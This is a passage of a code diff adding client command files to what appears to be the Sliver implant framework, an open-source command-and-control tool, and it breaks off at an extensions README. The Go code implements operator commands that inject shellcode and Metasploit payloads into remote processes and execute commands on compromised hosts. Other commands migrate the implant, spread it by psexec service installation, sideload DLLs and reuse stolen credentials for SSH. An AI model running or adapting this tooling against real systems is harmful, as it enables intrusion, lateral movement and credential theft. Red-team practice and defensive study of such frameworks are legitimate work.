+		con.AddBeaconCallback(shellcodeTask.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, shellcodeTask)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintExecuteShellcode(shellcodeTask, con)
+		})
+		con.PrintAsyncResponse(shellcodeTask.Response)
+	} else {
+		PrintExecuteShellcode(shellcodeTask, con)
+	}
+}
+
+// PrintExecuteShellcode - Display result of shellcode execution
+func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient) {
+	if task.Response.GetErr() != "" {
+		con.PrintErrorf("%s\n", task.Response.GetErr())
+	} else {
+		con.PrintInfof("Executed shellcode on target\n")
+	}
+}
+
+func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
+	// Check active session
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+	// Start remote process and tunnel
+	noPty := false
+	if session.GetOS() == "windows" {
+		noPty = true // Windows of course doesn't have PTYs
+	}
+
+	rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
+		SessionID: session.ID,
+	})
+
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
+
+	shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
+		Request:   con.ActiveTarget.Request(ctx),
+		Path:      hostProc,
+		EnablePTY: !noPty,
+		TunnelID:  tunnel.ID,
+	})
+
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	// Retrieve PID and start remote task
+	pid := shell.GetPid()
+
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
+	con.SpinUntil(msg, ctrl)
+	_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
+		Request:  con.ActiveTarget.Request(ctx),
+		Pid:      pid,
+		Data:     shellcode,
+		RWXPages: rwxPages,
+	})
+	ctrl <- true
+	<-ctrl
+
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
+	con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
+
+	var oldState *terminal.State
+	if !noPty {
+		oldState, err = terminal.MakeRaw(0)
+		log.Printf("Saving terminal state: %v", oldState)
+		if err != nil {
+			con.PrintErrorf("Failed to save terminal state\n")
+			return
+		}
+	}
+
+	log.Printf("Starting stdin/stdout shell ...")
+	go func() {
+		n, err := io.Copy(os.Stdout, tunnel)
+		log.Printf("Wrote %d bytes to stdout", n)
+		if err != nil {
+			con.PrintErrorf("Error writing to stdout: %v", err)
+			return
+		}
+	}()
+	for {
+		log.Printf("Reading from stdin ...")
+		n, err := io.Copy(tunnel, os.Stdin)
+		log.Printf("Read %d bytes from stdin", n)
+		if err == io.EOF {
+			break
+		}
+		if err != nil {
+			con.PrintErrorf("Error reading from stdin: %v", err)
+			break
+		}
+	}
+
+	if !noPty {
+		log.Printf("Restoring terminal state ...")
+		terminal.Restore(0, oldState)
+	}
+
+	log.Printf("Exit interactive")
+	bufio.NewWriter(os.Stdout).Flush()
+}

client/command/exec/execute.go

@@ -0,0 +1,143 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/command/loot"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
+)
+
+// ExecuteCmd - Run a command on the remote system
+func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	cmdPath := ctx.Args.String("command")
+	args := ctx.Args.StringList("arguments")
+	token := ctx.Flags.Bool("token")
+	output := ctx.Flags.Bool("output")
+	stdout := ctx.Flags.String("stdout")
+	stderr := ctx.Flags.String("stderr")
+
+	if output && beacon != nil {
+		con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
+	}
+
+	var exec *sliverpb.Execute
+	var err error
+
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
+	if token {
+		exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Path:    cmdPath,
+			Args:    args,
+			Output:  output,
+			Stderr:  stderr,
+			Stdout:  stdout,
+		})
+	} else {
+		exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
+			Request: con.ActiveTarget.Request(ctx),
+			Path:    cmdPath,
+			Args:    args,
+			Output:  output,
+			Stderr:  stderr,
+			Stdout:  stdout,
+		})
+	}
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s", err)
+		return
+	}
+
+	if exec.Response != nil && exec.Response.Async {
+		con.AddBeaconCallback(exec.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, exec)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintExecute(exec, ctx, con)
+		})
+		con.PrintAsyncResponse(exec.Response)
+	} else {
+		PrintExecute(exec, ctx, con)
+	}
+}
+
+// PrintExecute - Print the output of an executed command
+func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	ignoreStderr := ctx.Flags.Bool("ignore-stderr")
+	saveLoot := ctx.Flags.Bool("loot")
+	stdout := ctx.Flags.String("stdout")
+	stderr := ctx.Flags.String("stderr")
+	cmdPath := ctx.Args.String("command")
+	args := ctx.Args.StringList("arguments")
+
+	output := ctx.Flags.Bool("output")
+	if !output {
+		if exec.Status == 0 {
+			con.PrintInfof("Command executed successfully\n")
+		} else {
+			con.PrintErrorf("Exit code %d\n", exec.Status)
+		}
+		return
+	}
+
+	combined := ""
+	if stdout == "" {
+		combined = string(exec.Stdout)
+		con.PrintInfof("Output:\n%s", combined)
+	} else {
+		con.PrintInfof("Stdout saved at %s\n", stdout)
+	}
+
+	if stderr == "" {
+		if !ignoreStderr && 0 < len(exec.Stderr) {
+			combined = fmt.Sprintf("%s\nStderr:\n%s", combined, string(exec.Stderr))
+			con.PrintInfof("Stderr:\n%s", string(exec.Stderr))
+		}
+	} else {
+		con.PrintInfof("Stderr saved at %s\n", stderr)
+	}
+
+	if exec.Status != 0 {
+		con.PrintErrorf("Exited with status %d!\n", exec.Status)
+	}
+	if saveLoot && 0 < len(combined) {
+		name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
+		err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
+		if err != nil {
+			con.PrintErrorf("Failed to save output as loot: %s\n", err)
+		} else {
+			con.PrintInfof("Output saved as loot\n")
+		}
+	}
+}

client/command/exec/migrate.go

@@ -0,0 +1,54 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/desertbit/grumble"
+)
+
+// MigrateCmd - Windows only, inject an implant into another process
+func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSession()
+	if session == nil {
+		return
+	}
+
+	pid := ctx.Args.Uint("pid")
+	config := con.GetActiveSessionConfig()
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
+	migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
+		Pid:     uint32(pid),
+		Config:  config,
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("Error: %v", err)
+		return
+	}
+	if !migrate.Success {
+		con.PrintErrorf("%s\n", migrate.GetResponse().GetErr())
+		return
+	}
+	con.PrintInfof("Successfully migrated to %d\n", pid)
+}

client/command/exec/msf-inject.go

@@ -0,0 +1,95 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// MsfInjectCmd - Inject a metasploit payload into a remote process
+func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	payloadName := ctx.Flags.String("payload")
+	lhost := ctx.Flags.String("lhost")
+	lport := ctx.Flags.Int("lport")
+	encoder := ctx.Flags.String("encoder")
+	iterations := ctx.Flags.Int("iterations")
+	pid := ctx.Flags.Int("pid")
+
+	if lhost == "" {
+		con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
+		return
+	}
+
+	if pid == -1 {
+		con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
+		return
+	}
+
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
+		payloadName, session.OS, session.Arch, lhost, lport)
+	con.SpinUntil(msg, ctrl)
+	msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
+		Request:    con.ActiveTarget.Request(ctx),
+		Payload:    payloadName,
+		LHost:      lhost,
+		LPort:      uint32(lport),
+		Encoder:    encoder,
+		Iterations: int32(iterations),
+		PID:        uint32(pid),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if msfTask.Response != nil && msfTask.Response.Async {
+		con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, msfTask)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintMsfRemote(msfTask, con)
+		})
+		con.PrintAsyncResponse(msfTask.Response)
+	} else {
+		PrintMsfRemote(msfTask, con)
+	}
+}
+
+func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
+
+}

client/command/exec/msf.go

@@ -0,0 +1,69 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+
+	"github.com/desertbit/grumble"
+)
+
+// MsfCmd - Inject a metasploit payload into the current remote process
+func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	payloadName := ctx.Flags.String("payload")
+	lhost := ctx.Flags.String("lhost")
+	lport := ctx.Flags.Int("lport")
+	encoder := ctx.Flags.String("encoder")
+	iterations := ctx.Flags.Int("iterations")
+
+	if lhost == "" {
+		con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
+		return
+	}
+
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
+		payloadName, session.OS, session.Arch, lhost, lport)
+	con.SpinUntil(msg, ctrl)
+	_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
+		Request:    con.ActiveTarget.Request(ctx),
+		Payload:    payloadName,
+		LHost:      lhost,
+		LPort:      uint32(lport),
+		Encoder:    encoder,
+		Iterations: int32(iterations),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+	} else {
+		con.PrintInfof("Executed payload on target\n")
+	}
+}

client/command/exec/psexec.go

@@ -0,0 +1,168 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	insecureRand "math/rand"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/client/command/generate"
+	"github.com/bishopfox/sliver/client/command/settings"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util/encoders"
+	"github.com/desertbit/grumble"
+)
+
+// PsExecCmd - psexec command implementation.
+func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	hostname := ctx.Args.String("hostname")
+	if hostname == "" {
+		con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
+		return
+	}
+	profile := ctx.Flags.String("profile")
+	serviceName := ctx.Flags.String("service-name")
+	serviceDesc := ctx.Flags.String("service-description")
+	binPath := ctx.Flags.String("binpath")
+	uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
+
+	if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
+		con.PrintWarnf("You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
+		con.PrintWarnf("You might want to change that before going further...\n")
+		if !settings.IsUserAnAdult(con) {
+			return
+		}
+	}
+
+	if profile == "" {
+		con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
+		return
+	}
+
+	// generate sliver
+	generateCtrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
+	profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err)
+		return
+	}
+	generateCtrl <- true
+	<-generateCtrl
+	var implantProfile *clientpb.ImplantProfile
+	for _, prof := range profiles.Profiles {
+		if prof.Name == profile {
+			implantProfile = prof
+		}
+	}
+	if implantProfile.GetName() == "" {
+		con.PrintErrorf("No profile found for name %s\n", profile)
+		return
+	}
+	sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
+	filename := randomString(10)
+	filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
+	uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
+	// upload to remote target
+	uploadCtrl := make(chan bool)
+	con.SpinUntil("Uploading service binary ...", uploadCtrl)
+	upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
+		Encoder: "gzip",
+		Data:    uploadGzip,
+		Path:    filePath,
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	uploadCtrl <- true
+	<-uploadCtrl
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err)
+		return
+	}
+	con.PrintInfof("Uploaded service binary to %s\n", upload.GetPath())
+	con.PrintInfof("Waiting a bit for the file to be analyzed ...\n")
+	// Looks like starting the service right away often fails
+	// because a process is already using the binary.
+	// I suspect that Defender on my lab is holding access
+	// while scanning, which often resulted in an error.
+	// Waiting 5 seconds seem to do the trick here.
+	time.Sleep(5 * time.Second)
+	// start service
+	binaryPath := fmt.Sprintf(`%s\%s.exe`, binPath, filename)
+	serviceCtrl := make(chan bool)
+	con.SpinUntil("Starting service ...", serviceCtrl)
+	start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
+		BinPath:            binaryPath,
+		Hostname:           hostname,
+		Request:            con.ActiveTarget.Request(ctx),
+		ServiceDescription: serviceDesc,
+		ServiceName:        serviceName,
+		Arguments:          "",
+	})
+	serviceCtrl <- true
+	<-serviceCtrl
+	if err != nil {
+		con.PrintErrorf("Error: %v\n", err)
+		return
+	}
+	if start.Response != nil && start.Response.Err != "" {
+		con.PrintErrorf("Error: %s", start.Response.Err)
+		return
+	}
+	con.PrintInfof("Successfully started service on %s (%s)\n", hostname, binaryPath)
+	removeChan := make(chan bool)
+	con.SpinUntil("Removing service ...", removeChan)
+	removed, err := con.Rpc.RemoveService(context.Background(), &sliverpb.RemoveServiceReq{
+		ServiceInfo: &sliverpb.ServiceInfoReq{
+			Hostname:    hostname,
+			ServiceName: serviceName,
+		},
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	removeChan <- true
+	<-removeChan
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err)
+		return
+	}
+	if removed.Response != nil && removed.Response.Err != "" {
+		con.PrintErrorf("Error: %s\n", removed.Response.Err)
+		return
+	}
+	con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
+}
+
+func randomString(length int) string {
+	var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
+	b := make([]byte, length)
+	for i := range b {
+		b[i] = charset[insecureRand.Intn(len(charset))]
+	}
+	return string(b)
+}

client/command/exec/sideload.go

@@ -0,0 +1,111 @@
+package exec
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
+)
+
+// SideloadCmd - Sideload a shared library on the remote system
+func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	binPath := ctx.Args.String("filepath")
+
+	entryPoint := ctx.Flags.String("entry-point")
+	processName := ctx.Flags.String("process")
+	args := strings.Join(ctx.Args.StringList("args"), " ")
+
+	binData, err := ioutil.ReadFile(binPath)
+	if err != nil {
+		con.PrintErrorf("%s", err.Error())
+		return
+	}
+	isDLL := (filepath.Ext(binPath) == ".dll")
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
+	sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
+		Request:     con.ActiveTarget.Request(ctx),
+		Args:        args,
+		Data:        binData,
+		EntryPoint:  entryPoint,
+		ProcessName: processName,
+		Kill:        !ctx.Flags.Bool("keep-alive"),
+		IsDLL:       isDLL,
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("Error: %v", err)
+		return
+	}
+
+	hostname := getHostname(session, beacon)
+	if sideload.Response != nil && sideload.Response.Async {
+		con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, sideload)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintSideload(sideload, hostname, ctx, con)
+		})
+		con.PrintAsyncResponse(sideload.Response)
+	} else {
+		PrintSideload(sideload, hostname, ctx, con)
+	}
+}
+
+// PrintSideload - Print the sideload command output
+func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	if sideload.GetResponse().GetErr() != "" {
+		con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
+		return
+	}
+
+	var outFilePath *os.File
+	var err error
+	if ctx.Flags.Bool("save") {
+		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
+		outFilePath, err = ioutil.TempFile("", outFile)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	con.PrintInfof("Output:\n%s", sideload.GetResult())
+	if outFilePath != nil {
+		outFilePath.Write([]byte(sideload.GetResult()))
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	}
+}

client/command/exec/spawndll.go

@@ -0,0 +1,89 @@
+package exec
+
+import (
+	"context"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
+)
+
+// SpawnDllCmd - Spawn execution of a DLL on the remote system
+func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+	dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
+	binPath := ctx.Args.String("filepath")
+	processName := ctx.Flags.String("process")
+	exportName := ctx.Flags.String("export")
+
+	binData, err := ioutil.ReadFile(binPath)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("Executing reflective dll %s", binPath), ctrl)
+	spawndll, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
+		Data:        binData,
+		ProcessName: processName,
+		Args:        dllArgs,
+		EntryPoint:  exportName,
+		Request:     con.ActiveTarget.Request(ctx),
+		Kill:        !ctx.Flags.Bool("keep-alive"),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	ctrl <- true
+	<-ctrl
+
+	hostname := getHostname(session, beacon)
+	if spawndll.Response != nil && spawndll.Response.Async {
+		con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, spawndll)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintSpawnDll(spawndll, hostname, ctx, con)
+		})
+		con.PrintAsyncResponse(spawndll.Response)
+	} else {
+		PrintSpawnDll(spawndll, hostname, ctx, con)
+	}
+}
+
+// PrintSpawnDll - Print the SpawnDll command response
+func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	if spawndll.GetResponse().GetErr() != "" {
+		con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
+		return
+	}
+
+	var outFilePath *os.File
+	var err error
+	if ctx.Flags.Bool("save") {
+		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
+		outFilePath, err = ioutil.TempFile("", outFile)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	con.PrintInfof("Output:\n%s", spawndll.GetResult())
+	if outFilePath != nil {
+		outFilePath.Write([]byte(spawndll.GetResult()))
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	}
+}

client/command/exec/ssh.go

@@ -0,0 +1,126 @@
+package exec
+
+import (
+	"context"
+	"io/ioutil"
+	"strings"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/command/loot"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
+)
+
+// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
+func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var (
+		privKey []byte
+		err     error
+	)
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	username := ctx.Flags.String("login")
+	if username == "" {
+		username = session.GetUsername()
+	}
+
+	port := ctx.Flags.Uint("port")
+	privateKeypath := ctx.Flags.String("private-key")
+	if privateKeypath != "" {
+		privKey, err = ioutil.ReadFile(privateKeypath)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	password := ctx.Flags.String("password")
+
+	hostname := ctx.Args.String("hostname")
+	command := ctx.Args.StringList("command")
+
+	if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
+		oldUsername := username
+		username, password, privKey = tryCredsFromLoot(con)
+		if username == "" {
+			username = oldUsername
+		}
+	}
+
+	sshCmd, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
+		Username: username,
+		Hostname: hostname,
+		Port:     uint32(port),
+		PrivKey:  privKey,
+		Password: password,
+		Command:  strings.Join(command, " "),
+		Request:  con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if sshCmd.Response != nil && sshCmd.Response.Async {
+		con.AddBeaconCallback(sshCmd.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, sshCmd)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintSSHCmd(sshCmd, con)
+		})
+		con.PrintAsyncResponse(sshCmd.Response)
+	} else {
+		PrintSSHCmd(sshCmd, con)
+	}
+}
+
+// PrintSSHCmd - Print the ssh command response
+func PrintSSHCmd(sshCmd *sliverpb.SSHCommand, con *console.SliverConsoleClient) {
+	if sshCmd.Response != nil && sshCmd.Response.Err != "" {
+		con.PrintErrorf("Error: %s\n", sshCmd.Response.Err)
+		if sshCmd.StdErr != "" {
+			con.PrintErrorf("StdErr: %s\n", sshCmd.StdErr)
+		}
+		return
+	}
+	if sshCmd.StdOut != "" {
+		con.PrintInfof("Output:\n")
+		con.Println(sshCmd.StdOut)
+		if sshCmd.StdErr != "" {
+			con.PrintInfof("StdErr:\n")
+			con.Println(sshCmd.StdErr)
+		}
+	}
+}
+
+func tryCredsFromLoot(con *console.SliverConsoleClient) (string, string, []byte) {
+	var (
+		username string
+		password string
+		privKey  []byte
+	)
+	confirm := false
+	prompt := &survey.Confirm{Message: "No credentials provided, use from loot?"}
+	survey.AskOne(prompt, &confirm, nil)
+	if confirm {
+		cred, err := loot.SelectCredentials(con)
+		if err != nil {
+			con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
+		} else {
+			switch cred.CredentialType {
+			case clientpb.CredentialType_API_KEY:
+				privKey = []byte(cred.Credential.APIKey)
+			case clientpb.CredentialType_USER_PASSWORD:
+				username = cred.Credential.User
+				password = cred.Credential.Password
+			}
+		}
+	}
+	return username, password, privKey
+}

client/command/extensions/README.md

@@ -0,0 +1,62 @@
+Extensions
+====
+
+Allows to load and execute 3rd party extensions.
+
+Extensions must be loaded from a directory with the following architecture:
+
+```shell
+/path/to/extension/folder/
+├── manifest.json
+└── windows
+    ├── 386
